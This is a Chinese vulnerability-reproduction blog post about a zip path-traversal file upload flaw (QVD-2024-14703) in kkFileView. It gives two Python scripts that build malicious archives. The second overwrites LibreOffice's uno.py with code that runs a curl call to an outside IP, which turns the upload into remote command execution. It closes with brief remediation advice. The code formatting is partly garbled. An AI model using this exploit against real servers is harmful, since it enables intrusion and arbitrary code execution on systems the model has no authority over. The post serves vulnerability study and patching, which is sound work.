【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

admin 2024年5月6日16:41:30评论29 views字数 1313阅读4分22秒阅读模式
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。
0X01 简介
kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览,如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等
文章参考:
【搭建合集】kkFileView 4.3.0搭建
漏洞编号:
QVD-2024-14703
影响范围:
4.2.0 <= kkFileView <= 4.4.0-beta
复现环境:

kkFileView 4.3.0

0X02 漏洞复现
import zipfileif __name__ == "__main__":    try:        binary1 = b'test'        binary2 = b'test'        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("test.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)        zipFile.close()    except IOError as e:        raise e
【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

执行py生成压缩包,将压缩包上传。

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

点击预览

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

文件写入成功

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

命令执行

注:在linux系统复现成功
import zipfileif __name__ == "__main__":    try:        binary1 = b'test'        binary2 = b'import osrnos.system('curl http://192.168.20.131:9999/123123')'        zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("test2.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)        zipFile.close()    except IOError as e:        raise e注:uno.py路径需结合目标服务器的路径更改。
【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)
【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)
【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

再上传一个.odt后缀的文件

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

点击预览执行命令

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以在该py文件添加内容。

【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

0X03 修复建议

升级至安全版本及其以上!
解决方案:开启file.upload.disable=true参数,禁用首页的上传文件,关闭演示入口

0X04

原文始发于微信公众号(皓月的笔记本):【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月6日16:41:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)http://cn-sec.com/archives/2709337.html

发表评论

匿名网友 填写信息